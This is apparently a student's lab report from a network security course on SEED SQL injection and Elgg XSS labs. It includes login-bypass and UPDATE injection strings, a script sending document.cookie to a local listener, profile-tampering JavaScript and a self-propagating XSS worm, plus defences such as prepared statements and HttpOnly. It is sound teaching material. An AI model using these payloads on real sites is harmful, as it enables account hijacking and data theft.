20222927 2021-2022-2 《网络攻防实践》实践十报告

1.实践内容

sql注入

一、堆叠注入的原理

mysql数据库sql语句的默认结束符是以";“号结尾,在执行多条sql语句时就要使用结束符隔
开,而堆叠注入其实就是通过结束符来执行多条sql语句
目标存在sql注入漏洞
目标未对”;"号进行过滤
目标中间层查询数据库信息时可同时执行多条sql语句

XSS漏洞

一、XSS漏洞原理

XSS,即跨站脚本攻击,是指攻击者利用Web服务器中的应用程序或代码漏洞,在页面中嵌入客户端脚本(通常是一段由JavaScript编写的恶意代码,少数情况下还有ActionScript、VBScript等语言),当信任此Web服务器的用户访问Web站点中含有恶意脚本代码的页面或打开收到的URL链接时,用户浏览器会自动加载并执行该恶意代码,从而达到攻击的目的。

当应用程序没有对用户提交的内容进行验证和重新编码,而是直接呈现给网站的访问者时,就可能会触发XSS攻击。
二、XSS漏洞的危害

(1)窃取管理员帐号或Cookie。入侵者可以冒充管理员的身份登录后台,使得入侵者具有恶意操纵后台数据的能力,包括读取、更改、添加、删除一些信息。
(2)窃取用户的个人信息或者登录帐号,对网站的用户安全产生巨大的威胁。例如冒充用户身份进行各种操作。
(3)网站挂马。先将恶意攻击代码嵌入到Web应用程序之中。当用户浏览该挂马页面时,用户的计算机会被植入木马。
(4)发送广告或者垃圾信息。攻击者可以利用XSS漏洞植入广告,或者发送垃圾信息,严重影响到用户的正常使用。
三、XSS漏洞的分类
1、反射型XSS

反射型XSS,也称为非持久性XSS,是最常见的一种XSS。

XSS代码常常出现在URL请求中,当用户访问带有XSS代码的URL请求时,服务器端接收请求并处理,然后将带有XSS代码的数据返回给浏览器,浏览器解析该段带有XSS代码的数据并执行,整个过程就像一次反射,故称为反射型XSS。

该类攻击的主要特点是它的及时性和一次性,即用户提交请求后,响应信息会立即反馈给用户。该类攻击常发生在搜索引擎、错误提示页面等对用户的输入做出直接反应的场景中。
2、存储型XSS

存储型XSS,也称为持久性XSS。

在存储型XSS中,XSS代码被存储到服务器端,因此允许用户存储数据到服务器端的Web应用程序可能存在该类型XSS漏洞。攻击者提交一段XSS代码后,服务器接收并存储,当其他用户访问包含该XSS代码的页面时,XSS代码被浏览器解析并执行。

存储型XSS攻击的特点之一是提交的恶意内容会被永久存储,因而一个单独的恶意代码就会使多个用户受害,故被称为持久性XSS,它也是跨站脚本攻击中危害最的一类。二是被存储的用户提交的恶意内容不一定被页面使用,因此存在危险的响应信息不一定被立即返回,也许在访问那些在时间上和空间上没有直接关联的页面时才会引发攻击,因此存在不确定性和更好的隐蔽性。

这类攻击的一个典型场景是留言板、博客和论坛等,当恶意用户在某论坛页面发布含有恶意的Javascript代码的留言时,论坛会将该用户的留言内容保存在数据库或文件中并作为页面内容的一部分显示出来。当其他用户查看该恶意用户的留言时,恶意用户提交的恶意代码就会在用户浏览器中解析并执行。
3、DOM型XSS

DOM (Document Objet Model)指文档对象模型。

DOM常用来表示在HTML和XML中的对象。DOM可以允许程序动态的访问和更新文档的内容、结构等。客户端JavaScript可以访问浏览器的文档对象模型。也就是说,通过JavaScript代码控制DOM节点就可以不经过服务器端的参与重构HTML页面。

该类攻击是反射型XSS的变种。它通常是由于客户端接收到的脚本代码存在逻辑错误或者使用不当导致的。比如Javascript代码不正确地使用各种DOM方法(如document.write)和Javascript内部函数(如eval函数),动态拼接HTML代码和脚本代码就容易引发DOM型的跨站脚本攻击。

因此,DOM型XSS与前面两种XSS的区别就在于DOM型XSS攻击的代码不需要与服务器端进行交互,DOM型XSS的触发基于浏览器端对DOM数据的解析来完成,也就是完全是客户端的事情。
4、判断是哪一种XSS

发送一次带XSS代码的请求,若只能在当前返回的数据包里发现XSS代码,则是反射型;若以后这个页面的返回包里都会有XSS代码,则是存储型;若在返回包里找不到XSS代码,则是DOM型。
四、XSS漏洞的检测与防御
1、检测
手工检测

手工检测重点要考虑数据输入的地方,且需要清楚输入的数据输出到什么地方。

在检测的开始,可以输入一些敏感字符,比如“<、>、()”等,提交后查看网页源代码的变化以发现输入被输出到什么地方,且可以发现相关敏感字符是否被过滤。

手工检测结果相对准确,但效率较低。
工具检测

常用工具有AVWS(Acunetix Web Vulnerability Scanner)、BurpSuite等。还有一些专门针对XSS漏洞的检测工具,如:XSSer、XSSF(跨站脚本攻击框架)、BeEF(The Browser Exploitation Framework)等。
2、防御

●使用黑名单进行

●对HTML标签或特殊字符进行过滤

●使用内容安全的CSP

●使用设计上就会自动编码的框架,如:OWASP ESAPI、React JS、JSOUP等,对于JAVA而言,可以使用ESAPI.encoder().encodeForHTML()对字符串进行HTML编码。

●对于反射型和存储型XSS,可以在数据返回给客户端浏览器时,将敏感字符进行转义,如:将单引号进行编码替换(十进制编码’、十六进制编码’、HTML编码&apos、Unicode编码\u0027等)。

●对于DOM型XSS,可以使用上下文敏感数据编码。如:在PHP中的htmlspecialchars()、htmlentities()函 数可以将一些预定义的字符转换为HTML实体,如:小于转化为<、大于转化为>、双引号转化为"、单引号转化为&apos、与转化 为&等。

●启用浏览器的HttpOnly特性可以组织客户端脚本访问cookie。如:在PHP中可以通过下面的代码设置cookie并启用HttpOnly。

2.实践过程

2.1

mysql -u root -pseedubuntu

登录mysql数据库

use Users;
show tables;

在这里插入图片描述
查看员工信息
在这里插入图片描述

2.1.2 对SELECT语句的SQL注入攻击

上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

在浏览器中输入网址:“www.SEEDLabSQLInjection.com”。
在这里插入图片描述
查看源代码
在这里插入图片描述
表单将用户输入的信息使用get方法提交至unsafe_home.php页面

SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= 'Admin' #' and Password='$hashed_pwd'

输入变量$input_uname为Admin’ #时,'与sql语句中的单引号闭合,#就被解释成了sql语句中的注释符

SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= 'Admin'

可以直接绕过密码登录,直接进行登录
直接登录进去
在这里插入图片描述

2.1.3 对UPDATE语句的SQL注入攻击

利用之前的漏洞,用Alice’ #登录,Edit Profile进入该页面:
在这里插入图片描述
查看源代码,表单将用户输入的信息使用get方法提交至unsafe_edit_backend.php页面
在这里插入图片描述
进行代码审计:
在这里插入图片描述
找到关键代码

$sql = "UPDATE credential SET `nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;";`

在之前的图中可以知道 Alice 的编号是 10000,变量$input_nickname对应的就是用户输入的 NickName,此处存在注入,尝试构造’, salary=‘12345’ where EID=‘10000’;#

拼接到sql语句中,sql语句就变为

UPDATE credential SET nickname='', salary='12345' where EID='10000';#',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;

原理同上,去除注释后sql语句为

$sql = "UPDATE credential SET nickname='', salary='12345' where EID='10000';

这样就可以执行我们在这里插入图片描述
想要的东西,实现了将 Alice 的工资更新为 12345.
在这里插入图片描述

2.1.4 SQL 对抗

可以使用预处理语句防御sql注入攻击

首先在unsafe_home.php页面中,对SELECT语句进行预处理
在这里插入图片描述
修改成如上形式

在这里插入图片描述
同样的修改unsafe_edit_backend.php页面,对UPDATE语句进行预处理。

2.2 SEED XSS跨站脚本攻击实验(Elgg)

2.2.1 发布恶意消息,显示警报窗口

进入http://www.xsslabelgg.com
在这里插入图片描述
进入个人信息页面http://www.xsslabelgg.com/profile/alice,点击Edit profile,接着在下面的Brief description文本框输入:

<script>alert('xss');</script>

在这里插入图片描述
触发了xss攻击
在这里插入图片描述

2.2.2 弹窗显示 cookie 信息

<script>alert(document.cookie);</script>

在之前的Brief description输入
在这里插入图片描述

2.2.3 窃取受害者的 cookies

窃取受害者的 cookies的Payloads:

<script>document.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie) + ' >');</script>

在这里插入图片描述

nc -l 5555 -v

在这里插入图片描述
拿到cooki

2.2.4 成为受害者的朋友

在Alice的about me中添加Javascript代码(这里要使用edit HTML模式)
在这里插入图片描述

<script type="text/javascript">
	window.onload = function () {
    var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token; 
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
	
	
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
} 
</script>

在这里插入图片描述

2.2.5修改受害者的信息

同样在about me中构造的js程序

<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "name=" + userName + "&description=<p>20222927 hack kubopiy~~~</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>

用boby访问Alice的profile,即可成功修改boby的profile
在这里插入图片描述
编写XSS蠕虫

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "&name=" + userName + "&description=<p>20222927 hack u~kubopiy"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

在这里插入图片描述
在这里插入图片描述

samy也被感染了

2.2.6 对抗 XSS 攻击

在用户输入文本时,禁用 JavaScript 渲染的功能。

也可以使用 Elgg 提供的安全插件 HTMLawed 过滤用户输入的标签。

使用HttpOnly,最早是由微软提出,并在IE 6中实现的,至今已成为一个标准。浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie。严格来说,HttpOnly并非为了对抗XSS,HttpOnly解决的是XSS后的Cookie劫持。

常见的Web漏洞如XSS、SQL Injection等,都要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。输入检查,在很多时候也被用于格式检查。例如,用户在网站注册时填写的用户名,会被要求只能为字母、数字的组合。在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<、>、'、“等,如果发现存在特殊字符,者将这些特殊字符过滤或者编码。

一般来说,除了富文本的输出外,在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。使用安全的编码函数,编码分为很多种,针对HTML代码的编码方式是HtmlEncode。HtmlEncode并非专用名词,它只是一种函数实现。它的作用是将字符转换成HTMLEntities,对应的标准是ISO-8859-1。

我们利用管理员账户进行登录,找到Account->administration->plugins,并且找到插件HTMLawed关闭它

3.学习中遇到的问题及解决

问题1:xss打不进去
问题1解决方案:HTML忘记改

4.实践总结

通过本次实验了解了xss漏洞和sql注入,但实验较为单一,sql注入类型较多,xss也有存储型,dom型等,种类较多。学习了如何防御sql注入,xss漏洞。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值